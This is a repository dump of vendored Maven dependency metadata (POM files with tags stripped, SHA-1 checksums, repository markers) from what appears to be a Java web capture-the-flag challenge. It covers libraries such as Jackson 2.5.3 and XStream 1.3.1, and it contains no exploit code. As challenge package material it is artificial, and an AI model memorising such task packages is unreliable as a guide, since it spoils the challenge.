org.apache.maven.plugins maven-compiler-plugin 3.0 UTF-8 ${jdk.version} ${jdk.version} org.apache.maven.plugins maven-surefire-plugin 2.12.4 **/bvt/**/*.java org.apache.maven.plugins maven-source-plugin 2.2.1 attach-sources jar-no-fork true maven-javadoc-plugin 2.9 attach-javadoc jar ${javadoc.skip} public UTF-8 UTF-8 UTF-8 http://docs.oracle.com/javase/6/docs/api maven-gpg-plugin 1.4 ${gpg.skip} sign-artifacts verify sign false com.mycila.maven-license-plugin maven-license-plugin 1.10.b1
      ${basedir}/doc/license.txt
      true true true SLASHSTAR_STYLE src/main/java/**/*.java UTF-8
      check-headers verify check
      org.apache.maven.plugins maven-jar-plugin 2.4 true ${buildNumber} org.codehaus.mojo buildnumber-maven-plugin 1.1 validate create {0,date,yyyy-MM-dd HH:mm:ss} timestamp false true
      mc-release Local Maven repository of releases http://mc-repo.googlecode.com/svn/maven2/releases true false default-profile true ${env.JAVA_HOME}/lib/jconsole.jar ${env.JAVA_HOME}/lib/tools.jar ${env.JAVA_HOME}/lib/jconsole.jar com.alibaba jconsole 1.6.0 system ${jconsolejar} true com.alibaba tools 1.6.0 system ${toolsjar} true mac-profile false ${java.home}/../Classes/jconsole.jar com.alibaba jconsole 1.6.0 system ${java.home}/../Classes/jconsole.jar javax.transaction jta 1.1 provided true javax.servlet servlet-api 2.5 provided true commons-logging commons-logging 1.1.1 provided true org.springframework spring-core ${spring.version} provided true org.springframework spring-beans ${spring.version} provided true org.springframework spring-orm ${spring.version} provided true org.springframework spring-test ${spring.version} test org.springframework spring-ibatis 2.0.8 provided true org.mybatis mybatis 3.1.1 provided true org.mybatis mybatis-spring 1.1.1 provided true log4j log4j 1.2.16 provided org.slf4j slf4j-api 1.6.1 provided org.slf4j slf4j-log4j12 1.6.1 provided mysql mysql-connector-java 5.1.24 provided net.sourceforge.jtds jtds 1.3.0 provided postgresql postgresql 9.1-901-1.jdbc4 provided com.oracle ojdbc14 10.2.0.2 provided com.microsoft.sqlserver sqljdbc4 4.0.2206.100 test junit junit ${junit.version} test org.apache.derby derby 10.9.1.0 test commons-dbcp commons-dbcp 1.4 test com.jolbox bonecp 0.7.1.RELEASE test com.jolbox bonecp-spring 0.7.1.RELEASE test proxool proxool 0.9.1 test proxool proxool-cglib 0.9.1 test c3p0 c3p0 0.9.1.2 test org.apache.tomcat tomcat-jdbc 7.0.34 test org.apache.ibatis ibatis-sqlmap 2.3.4.726 provided com.h2database h2 1.3.170 provided org.hibernate hibernate-core 4.1.9.Final provided commons-dbutils commons-dbutils 1.5 test org.nutz nutz 1.b.47 test com.taobao.tbdatasource tbdatasource 2.0.2 test com.alibaba fastjson 1.1.33 test
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/alibaba/druid/0.2.23/druid-0.2.23.pom.sha1 ================================================ c1e030866462761d2ebd50763e9d040e808e7917 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/beust/jcommander/1.27/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:05 CST 2018 jcommander-1.27.jar>central= jcommander-1.27.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/beust/jcommander/1.27/jcommander-1.27.jar.sha1 ================================================ 58c9cbf0f1fa296f93c712f2cf46de50471920f9 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/beust/jcommander/1.27/jcommander-1.27.pom ================================================ 4.0.0 com.beust jcommander jar JCommander 1.27 A Java framework to parse command line options with annotations. http://beust.com/jcommander The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo scm:git:git@github.com:cbeust/jcommander.git scm:git:git@github.com:cbeust/jcommander.git git@github.com:cbeust/jcommander.git Cedric Beust org.sonatype.oss oss-parent 3 org.apache.maven.plugins maven-source-plugin 2.1.1 attach-sources jar org.apache.maven.plugins maven-compiler-plugin 2.3.1 1.5 1.5 UTF-8 org.apache.maven.plugins maven-resources-plugin 2.4.1 UTF-8 org.apache.felix maven-bundle-plugin 2.1.0 bundle-manifest process-classes manifest <_versionpolicy>$(@) org.apache.maven.plugins maven-jar-plugin 2.3.1 ${project.build.outputDirectory}/META-INF/MANIFEST.MF org.apache.maven.plugins maven-surefire-plugin 2.10 true com.beust jcommander 1.13 org.apache.maven.plugins maven-javadoc-plugin 2.7 *.internal org.testng testng 6.1.1 jar test jcommander com.beust license com.mycila.maven-license-plugin maven-license-plugin 1.7.0 false
      src/main/license/license-header.txt
      src/** pom.xml **/.git/** **/target/** false
      check
      sign maven-gpg-plugin sign-artifacts verify sign
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/beust/jcommander/1.27/jcommander-1.27.pom.sha1 ================================================ cb6b3ea1e2468414548a75ff070ad2d48b8f6af8 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-annotations/2.5.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 jackson-annotations-2.5.3.jar>central= jackson-annotations-2.5.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-annotations/2.5.3/jackson-annotations-2.5.3.jar.sha1 ================================================ ade455ede4797ed450ca6a56e589a81278fc8f45 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-annotations/2.5.3/jackson-annotations-2.5.3.pom ================================================ 4.0.0 com.fasterxml.jackson jackson-parent 2.5.1 com.fasterxml.jackson.core jackson-annotations Jackson-annotations 2.5.3 bundle Core annotations used for value types, used by Jackson data binding package. http://github.com/FasterXML/jackson scm:git:git@github.com:FasterXML/jackson-annotations.git scm:git:git@github.com:FasterXML/jackson-annotations.git http://github.com/FasterXML/jackson-annotations jackson-annotations-2.5.3 com.fasterxml.jackson.annotation.*;version=${project.version} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-annotations/2.5.3/jackson-annotations-2.5.3.pom.sha1 ================================================ 849aee821b80d041c7aff881bb8c792fbcf1c884 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-core/2.5.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 jackson-core-2.5.3.jar>central= jackson-core-2.5.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-core/2.5.3/jackson-core-2.5.3.jar.sha1 ================================================ a8b8a6dfc8a17890e4c7ff8aed810763d265b68b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-core/2.5.3/jackson-core-2.5.3.pom ================================================ 4.0.0 com.fasterxml.jackson jackson-parent 2.5.1 com.fasterxml.jackson.core jackson-core Jackson-core 2.5.3 bundle Core Jackson abstractions, basic JSON streaming API implementation https://github.com/FasterXML/jackson scm:git:git@github.com:FasterXML/jackson-core.git scm:git:git@github.com:FasterXML/jackson-core.git http://github.com/FasterXML/jackson-core jackson-core-2.5.3 com.fasterxml.jackson.core;version=${project.version}, com.fasterxml.jackson.core.*;version=${project.version} com/fasterxml/jackson/core/json ${project.groupId}.json org.apache.maven.plugins maven-javadoc-plugin 2.8.1 ${javac.src.version} ${javac.target.version} UTF-8 512m http://docs.oracle.com/javase/6/docs/api/ attach-javadocs verify jar org.apache.maven.plugins maven-site-plugin 3.1 org.apache.maven.plugins maven-surefire-plugin ${surefire.redirectTestOutputToFile} **/failing/*.java com.google.code.maven-replacer-plugin replacer process-packageVersion generate-sources org.apache.maven.plugins maven-javadoc-plugin 2.8.1 true 1.6 UTF-8 1g http://docs.oracle.com/javase/6/docs/api/ ${javadoc.package.exclude} ${sun.boot.class.path} com.google.doclava.Doclava false -J-Xmx1024m com.google.doclava doclava 1.0.3 -hdf project.name "${project.name} ${project.version}" -d ${project.reporting.outputDirectory}/apidocs default javadoc ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-core/2.5.3/jackson-core-2.5.3.pom.sha1 ================================================ fa74028aee38dd2d8c441ade1cb426861eed2cd5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-databind/2.5.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 jackson-databind-2.5.3.jar>central= jackson-databind-2.5.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-databind/2.5.3/jackson-databind-2.5.3.jar.sha1 ================================================ c37875ff66127d93e5f672708cb2dcc14c8232ab ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-databind/2.5.3/jackson-databind-2.5.3.pom ================================================ 4.0.0 com.fasterxml.jackson jackson-parent 2.5.1 com.fasterxml.jackson.core jackson-databind 2.5.3 jackson-databind bundle General data-binding functionality for Jackson: works on core streaming API http://github.com/FasterXML/jackson scm:git:git@github.com:FasterXML/jackson-databind.git scm:git:git@github.com:FasterXML/jackson-databind.git http://github.com/FasterXML/jackson-databind jackson-databind-2.5.3 com.fasterxml.jackson.databind, com.fasterxml.jackson.databind.annotation, com.fasterxml.jackson.databind.cfg, com.fasterxml.jackson.databind.deser, com.fasterxml.jackson.databind.deser.impl, com.fasterxml.jackson.databind.deser.std, com.fasterxml.jackson.databind.exc, com.fasterxml.jackson.databind.ext, com.fasterxml.jackson.databind.introspect, com.fasterxml.jackson.databind.jsonschema, com.fasterxml.jackson.databind.jsonFormatVisitors, com.fasterxml.jackson.databind.jsontype, com.fasterxml.jackson.databind.jsontype.impl, com.fasterxml.jackson.databind.module, com.fasterxml.jackson.databind.node, com.fasterxml.jackson.databind.ser, com.fasterxml.jackson.databind.ser.impl, com.fasterxml.jackson.databind.ser.std, com.fasterxml.jackson.databind.type, com.fasterxml.jackson.databind.util com.fasterxml.jackson.annotation, com.fasterxml.jackson.core, com.fasterxml.jackson.core.base, com.fasterxml.jackson.core.format, com.fasterxml.jackson.core.json, com.fasterxml.jackson.core.io, com.fasterxml.jackson.core.util, com.fasterxml.jackson.core.type, org.xml.sax,org.w3c.dom, org.w3c.dom.bootstrap, org.w3c.dom.ls, javax.xml.datatype, javax.xml.namespace, javax.xml.parsers com/fasterxml/jackson/databind/cfg com.fasterxml.jackson.databind.cfg com.fasterxml.jackson.core jackson-annotations 2.5.0 com.fasterxml.jackson.core jackson-core 2.5.3 cglib cglib 3.1 test org.codehaus.groovy groovy 2.4.0 test javax.measure jsr-275 0.9.2 test org.hibernate hibernate-cglib-repack 2.1_3 test org.apache.maven.plugins ${version.plugin.surefire} maven-surefire-plugin javax.measure:jsr-275 com/fasterxml/jackson/failing/*.java org.apache.maven.plugins maven-javadoc-plugin ${version.plugin.javadoc} http://docs.oracle.com/javase/6/docs/api/ http://fasterxml.github.com/jackson-annotations/javadoc/2.5/ http://fasterxml.github.com/jackson-core/javadoc/2.5/ com.google.code.maven-replacer-plugin replacer process-packageVersion process-sources org.codehaus.mojo cobertura-maven-plugin release true true ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/core/jackson-databind/2.5.3/jackson-databind-2.5.3.pom.sha1 ================================================ 6b419a3d1fb12e7692b0b2b5f1883eb5a335db97 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/jackson-parent/2.5.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:27 CST 2018 jackson-parent-2.5.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/jackson-parent/2.5.1/jackson-parent-2.5.1.pom ================================================ 4.0.0 com.fasterxml oss-parent 19 com.fasterxml.jackson jackson-parent 2.5.1 pom Jackson parent poms Parent pom for all Jackson components http://github.com/FasterXML/ 2014 FasterXML http://fasterxml.com/ The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo christophercurrie Christopher Currie prb Paul Brown prb@fasterxml.com cowtowncoder Tatu Saloranta tatu@fasterxml.com Simone Tripodi simonetripodi@apache.org scm:git:git@github.com:FasterXML/jackson-parent.git scm:git:git@github.com:FasterXML/jackson-parent.git http://github.com/FasterXML/jackson-parent 2.5.1b 2.5.0 1.6 1.6 lines,source,vars 4.11 ${basedir}/src/main/java/${packageVersion.dir}/PackageVersion.java.in ${generatedSourcesDir}/${packageVersion.dir}/PackageVersion.java junit junit ${version.junit} test org.apache.maven.plugins maven-enforcer-plugin 1.3.1 enforce-java validate enforce [1.6,) [ERROR] The currently supported version of Java is 1.6 or higher [3.0,) [ERROR] The currently supported version of Maven is 3.0 or higher true true true clean,deploy,site [ERROR] Best Practice is to always define plugin versions! com.google.code.maven-replacer-plugin replacer ${version.plugin.replacer} process-packageVersion replace ${packageVersion.template.input} ${packageVersion.template.output} @package@ ${packageVersion.package} @projectversion@ ${project.version} @projectgroupid@ ${project.groupId} @projectartifactid@ ${project.artifactId} org.eclipse.m2e lifecycle-mapping 1.0.0 com.google.code.maven-replacer-plugin replacer [${version.plugin.replacer},) replace false ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/jackson/jackson-parent/2.5.1/jackson-parent-2.5.1.pom.sha1 ================================================ 0cb82b6ad71b83a04d83515ce6f679c02529f899 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/oss-parent/19/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:27 CST 2018 oss-parent-19.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/oss-parent/19/oss-parent-19.pom ================================================ 4.0.0 com.fasterxml oss-parent 19 pom FasterXML.com parent pom FasterXML.com parent pom http://github.com/FasterXML/ 2012 FasterXML http://fasterxml.com/ The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo cowtowncoder Tatu Saloranta tatu@fasterxml.com scm:git:git@github.com:FasterXML/oss-parent.git scm:git:git@github.com:FasterXML/oss-parent.git http://github.com/FasterXML/oss-parent oss-parent-19 GitHub Issue Management https://github.com/FasterXML/${project.artifactId}/issues sonatype-nexus-snapshots Sonatype Nexus Snapshots https://oss.sonatype.org/content/repositories/snapshots sonatype-nexus-staging Nexus Release Repository https://oss.sonatype.org/service/local/staging/deploy/maven2/ UTF-8 UTF-8 UTF-8 1.6 1.6 lines,source,vars yyyy-MM-dd HH:mm:ssZ ${project.groupId}.*;version=${project.version} * ${range;[===,=+);${@}} 2.5.3 2.5 2.8.1 2.5.1 1.5.2 2.17 1g ${project.build.directory}/generated-sources sonatype-nexus-snapshots Sonatype Nexus Snapshots https://oss.sonatype.org/content/repositories/snapshots false true org.apache.maven.plugins maven-clean-plugin 2.5 org.apache.maven.plugins maven-resources-plugin 2.6 org.apache.maven.plugins maven-install-plugin 2.3.1 org.apache.maven.plugins maven-deploy-plugin 2.7 org.apache.maven.plugins maven-site-plugin 3.1 org.codehaus.mojo cobertura-maven-plugin 2.6 org.apache.felix maven-bundle-plugin ${version.plugin.bundle} <_nouses>true <_removeheaders>Include-Resource,JAVA_1_3_HOME,JAVA_1_4_HOME,JAVA_1_5_HOME,JAVA_1_6_HOME,JAVA_1_7_HOME <_versionpolicy>${osgi.versionpolicy} ${project.name} ${project.groupId}.${project.artifactId} ${project.description} ${osgi.export} ${osgi.private} ${osgi.import} ${osgi.dynamicImport} ${project.url} ${osgi.requiredExecutionEnvironment} ${maven.build.timestamp} ${javac.src.version} ${javac.target.version} ${project.name} ${project.version} ${project.groupId} ${project.organization.name} ${project.name} ${project.version} ${project.organization.name} org.apache.maven.plugins maven-release-plugin ${version.plugin.release} forked-path false -Prelease org.sonatype.plugins nexus-maven-plugin 2.1 https://oss.sonatype.org/ sonatype-nexus-staging org.codehaus.mojo build-helper-maven-plugin 1.7 org.apache.maven.plugins maven-enforcer-plugin 1.3.1 enforce-java validate enforce [1.5,) [ERROR] The currently supported version of Java is 1.5 or higher [3.0,) [ERROR] The currently supported version of Maven is 3.0 or higher true true true clean,deploy,site [ERROR] Best Practice is to always define plugin versions! org.apache.maven.plugins maven-compiler-plugin 3.2 ${javac.src.version} ${javac.target.version} true true true true ${javac.debuglevel} org.codehaus.mojo build-helper-maven-plugin add-generated-sources generate-sources add-source ${generatedSourcesDir} org.apache.maven.plugins maven-surefire-plugin ${version.plugin.surefire} org.apache.felix maven-bundle-plugin ${version.plugin.bundle} true org.apache.maven.plugins maven-jar-plugin ${version.plugin.jar} maven-site-plugin attach-descriptor attach-descriptor org.apache.maven.plugins maven-scm-plugin 1.9.1 org.apache.maven.scm maven-scm-provider-gitexe 1.9.1 org.apache.maven.scm maven-scm-provider-gitexe 1.9.1 org.apache.maven.scm maven-scm-manager-plexus 1.9.1 org.kathrynhuxtable.maven.wagon wagon-gitsite 0.3.1 org.apache.maven.plugins maven-javadoc-plugin ${version.plugin.javadoc} ${sun.boot.class.path} com.google.doclava.Doclava false -J-Xmx1024m ${javadoc.maxmemory} http://docs.oracle.com/javase/6/docs/api/ com.google.doclava doclava 1.0.3 -hdf project.name "${project.name}" -d ${project.reporting.outputDirectory}/apidocs default javadoc org.apache.maven.plugins maven-project-info-reports-plugin 2.5 org.apache.maven.plugins maven-jxr-plugin 2.3 org.codehaus.mojo jdepend-maven-plugin 2.0-beta-2 org.apache.maven.plugins maven-surefire-report-plugin ${version.plugin.surefire} org.apache.maven.plugins maven-pmd-plugin 2.7.1 true 100 1.5 org.codehaus.mojo taglist-maven-plugin 2.4 Todo Work TODO ignoreCase FIXME ignoreCase release org.apache.maven.plugins maven-source-plugin 2.1.2 attach-sources jar-no-fork true true ${maven.build.timestamp} ${javac.src.version} ${javac.target.version} org.apache.maven.plugins maven-javadoc-plugin ${version.plugin.javadoc} attach-javadocs jar true true true ${maven.build.timestamp} ${javac.src.version} ${javac.target.version} org.apache.maven.plugins maven-gpg-plugin 1.4 sign-artifacts verify sign ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/fasterxml/oss-parent/19/oss-parent-19.pom.sha1 ================================================ 56838cb89c7eb03f76ce15f9746cc1db64dd8e53 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/google/code/findbugs/jsr305/2.0.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 jsr305-2.0.1.jar>central= jsr305-2.0.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/google/code/findbugs/jsr305/2.0.1/jsr305-2.0.1.jar.sha1 ================================================ 516c03b21d50a644d538de0f0369c620989cd8f0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/google/code/findbugs/jsr305/2.0.1/jsr305-2.0.1.pom ================================================ 4.0.0 com.google.code.findbugs jsr305 2.0.1 jar http://findbugs.sourceforge.net/ FindBugs-jsr305 JSR305 Annotations for Findbugs The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo scm:svn:http://findbugs.googlecode.com/svn/trunk/ scm:svn:https://findbugs.googlecode.com/svn/trunk/ http://findbugs.googlecode.com/svn/trunk/ ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/google/code/findbugs/jsr305/2.0.1/jsr305-2.0.1.pom.sha1 ================================================ 95efa8cea662452bb74b34abe09a93ff47625c8f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/google/collections/google-collections/1.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 google-collections-1.0.jar>central= google-collections-1.0.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/google/collections/google-collections/1.0/google-collections-1.0.jar.sha1 ================================================ 9ffe71ac6dcab6bc03ea13f5c2e7b2804e69b357 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/google/collections/google-collections/1.0/google-collections-1.0.pom ================================================ 4.0.0 com.google google 1 com.google.collections google-collections 1.0 jar Google Collections Library Google Collections Library is a suite of new collections and collection-related goodness for Java 5.0 2007 http://code.google.com/p/google-collections/ Google http://www.google.com The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo http://code.google.com/p/google-collections/source/browse/ scm:svn:http://google-collections.googlecode.com/svn/trunk/ google-maven-repository Google Maven Repository dav:https://google-maven-repository.googlecode.com/svn/repository/ google-maven-snapshot-repository Google Maven Snapshot Repository dav:https://google-maven-repository.googlecode.com/svn/snapshot-repository/ true com.google.code.findbugs jsr305 1.3.7 true org.apache.maven.plugins maven-compiler-plugin 1.5 1.5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/google/collections/google-collections/1.0/google-collections-1.0.pom.sha1 ================================================ 292197f3cb1ebc0dd03e20897e4250b265177286 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/google/google/1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:06 CST 2018 google-1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/google/google/1/google-1.pom ================================================ 4.0.0 com.google google 1 Google Internally developed code released as open source. pom Google http://www.google.com/ http://code.google.com/hosting/projects.html The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo google-maven-repository Google Maven Repository dav:https://google-maven-repository.googlecode.com/svn/repository/ google-maven-snapshot-repository Google Maven Snapshot Repository dav:https://google-maven-repository.googlecode.com/svn/snapshot-repository/ true ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/google/google/1/google-1.pom.sha1 ================================================ c35a5268151b7a1bbb77f7ee94a950f00e32db61 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/sun/mail/all/1.4.7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:33 CST 2018 all-1.4.7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/sun/mail/all/1.4.7/all-1.4.7.pom ================================================ net.java jvnet-parent 1 4.0.0 com.sun.mail all pom 1.4.7 JavaMail API distribution ${project.name} http://kenai.com/projects/javamail scm:hg:http://kenai.com/hg/javamail~mercurial scm:hg:https://kenai.com/hg/javamail~mercurial http://kenai.com/hg/javamail~mercurial Bugzilla http://kenai.com/bugzilla CDDL http://www.sun.com/cddl repo A business-friendly OSS license GPLv2+CE https://glassfish.java.net/public/CDDL+GPL_1_1.html repo GPL version 2 plus the Classpath Exception Oracle http://www.oracle.com 1.4.7 1_4_7 1.4 1.1 ${project.groupId}.${project.artifactId} ${project.groupId}.${project.artifactId} ${project.groupId}.${project.artifactId} ${project.groupId}.${project.artifactId} javax.mail.*; version=${mail.spec.version} javax.security.sasl;resolution:=optional, sun.security.util;resolution:=optional, * com.sun.mail.* 2.0.0 /opt/jdk1.4/bin/javac iso-8859-1 High 2.4.0 true shannon Bill Shannon bill.shannon@oracle.com Oracle lead mail mailapi mailapijar smtp imap gimap pop3 dsn oldmail build-only mbox demo client servlet webapp taglib logging outlook javadoc true deploy-release parent-distrib org.apache.maven.plugins maven-surefire-plugin true org.apache.maven.plugins maven-javadoc-plugin 2.7 attach-javadocs jar org.apache.maven.plugins maven-gpg-plugin 1.1 sign-artifacts verify sign deploy-snapshot parent-distrib org.apache.maven.plugins maven-surefire-plugin true org.apache.maven.plugins maven-javadoc-plugin 2.7 attach-javadocs jar 1.4 maven-compiler-plugin default-compile true ${javac.path} 1.4 1.4 1.4 com/sun/mail/imap/protocol/IMAPSaslAuthenticator.java com/sun/mail/smtp/SMTPSaslAuthenticator.java com/sun/mail/util/SocksSupport.java install org.apache.maven.plugins maven-enforcer-plugin enforce-version enforce [2.2.1,) org.apache.felix maven-bundle-plugin ${mail.bundle.symbolicName} ${mail.packages.export} ${mail.packages.import} ${mail.packages.private} * osgi-manifest process-classes manifest org.glassfish.hk2 osgiversion-maven-plugin ${hk2.plugin.version} qualifier mail.osgiversion compute-osgi-version compute-osgi-version maven-compiler-plugin default-compile 1.4 1.4 default-testCompile 1.5 1.5 maven-jar-plugin ${project.artifactId} ${project.build.outputDirectory}/META-INF/MANIFEST.MF ${mail.extensionName} ${mail.specificationTitle} ${mail.spec.version} ${project.organization.name} ${mail.implementationTitle} ${project.version} ${project.organization.name} com.sun ${mail.probeFile} **/*.java org.codehaus.mojo build-helper-maven-plugin add-source generate-sources add-source ${project.build.directory}/sources target/classes org.apache.maven.plugins maven-source-plugin attach-sources jar-no-fork true **/*.class maven-assembly-plugin false javamail${mail.zipversion} assembly.xml org.apache.maven.plugins maven-compiler-plugin 2.4 org.apache.maven.plugins maven-surefire-plugin 2.4.3 org.apache.maven.plugins maven-jar-plugin 2.4 org.codehaus.mojo build-helper-maven-plugin 1.7 org.codehaus.mojo findbugs-maven-plugin ${findbugs.version} ${findbugs.skip} ${findbugs.threshold} true ${findbugs.exclude} org.apache.maven.plugins maven-enforcer-plugin 1.0 org.apache.felix maven-bundle-plugin 2.1.0 org.apache.maven.plugins maven-source-plugin 2.1.2 org.apache.maven.plugins maven-javadoc-plugin 2.8.1 org.apache.maven.plugins maven-war-plugin 2.2 com.sun.mail javax.mail ${mail.version} com.sun.mail dsn ${mail.version} com.sun.mail gimap ${mail.version} com.sun.mail mbox ${mail.version} com.sun.mail taglib ${mail.version} javax.servlet servlet-api 2.5 javax.servlet.jsp jsp-api 2.1 javax.activation activation ${activation-api.version} org.codehaus.mojo findbugs-maven-plugin ${findbugs.version} ${findbugs.skip} ${findbugs.threshold} ${findbugs.exclude} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/sun/mail/all/1.4.7/all-1.4.7.pom.sha1 ================================================ 69662337a9cfcf5d68b9268349acf073119428a9 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/thoughtworks/xstream/xstream/1.3.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:20 CST 2018 xstream-1.3.1.jar>central= xstream-1.3.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/thoughtworks/xstream/xstream/1.3.1/xstream-1.3.1.jar.sha1 ================================================ c23741bfc42efa760c6acdb90a131814c70aeb8d ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/thoughtworks/xstream/xstream/1.3.1/xstream-1.3.1.pom ================================================ 4.0.0 com.thoughtworks.xstream xstream-parent 1.3.1 xstream jar XStream Core dom4j dom4j true org.jdom jdom true joda-time joda-time true stax stax true org.codehaus.woodstox wstx-asl true stax stax-api true xom xom true xpp3 xpp3_min cglib cglib-nodep true org.codehaus.jettison jettison true junit junit jmock jmock com.megginson.sax xml-writer test oro oro test commons-lang commons-lang test jdk15 1.5 org.apache.maven.plugins maven-compiler-plugin 1.3 1.3 **/annotations/* **/AnnotationMapper* **/EnumMapper* **/enums/* **/HarmonyReflectionProvider* **/annotations/* **/enums/* **/acceptance/SecurityManagerTest* compile-jdk15 1.5 1.5 foo foo foo foo **/HarmonyReflectionProvider* foo foo **/acceptance/SecurityManagerTest* compile testCompile org.apache.maven.plugins maven-javadoc-plugin attach-javadoc package jar com.thoughtworks.xstream.core:com.thoughtworks.xstream.io.xml.xppdom http://java.sun.com/j2se/1.5.0/docs/api org.apache.maven.plugins maven-source-plugin jdk16 1.6 org.apache.maven.plugins maven-compiler-plugin 1.3 1.3 **/annotations/* **/AnnotationMapper* **/EnumMapper* **/enums/* **/HarmonyReflectionProvider* **/annotations/* **/enums/* **/acceptance/SecurityManagerTest* compile-jdk15 1.5 1.5 foo foo foo foo **/HarmonyReflectionProvider* foo foo **/acceptance/SecurityManagerTest* compile testCompile org.apache.maven.plugins maven-javadoc-plugin attach-javadoc package jar com.thoughtworks.xstream.core:com.thoughtworks.xstream.io.xml.xppdom http://java.sun.com/javase/6/docs/api org.apache.maven.plugins maven-source-plugin jdk14 1.4 org.apache.maven.plugins maven-compiler-plugin 1.3 1.3 **/annotations/* **/AnnotationMapper* **/EnumMapper* **/enums/* **/basic/StringBuilder* **/basic/UUID* **/HarmonyReflectionProvider* **/annotations/* **/enums/* **/reflection/PureJavaReflectionProvider15Test* **/acceptance/Basic15TypesTest* **/acceptance/SecurityManagerTest* xml-apis xml-apis xerces xercesImpl org.apache.maven.plugins maven-javadoc-plugin com.thoughtworks.xstream.core:com.thoughtworks.xstream.io.xml.xppdom http://java.sun.com/j2se/1.5.0/docs/api org.apache.maven.plugins maven-surefire-report-plugin org.codehaus.mojo cobertura-maven-plugin ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/thoughtworks/xstream/xstream/1.3.1/xstream-1.3.1.pom.sha1 ================================================ d0965debefdcd42ec3de04a44e2b6e6ca93360d9 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/thoughtworks/xstream/xstream-parent/1.3.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:53 CST 2018 xstream-parent-1.3.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/thoughtworks/xstream/xstream-parent/1.3.1/xstream-parent-1.3.1.pom ================================================ 4.0.0 com.thoughtworks.xstream xstream-parent pom 1.3.1 XStream 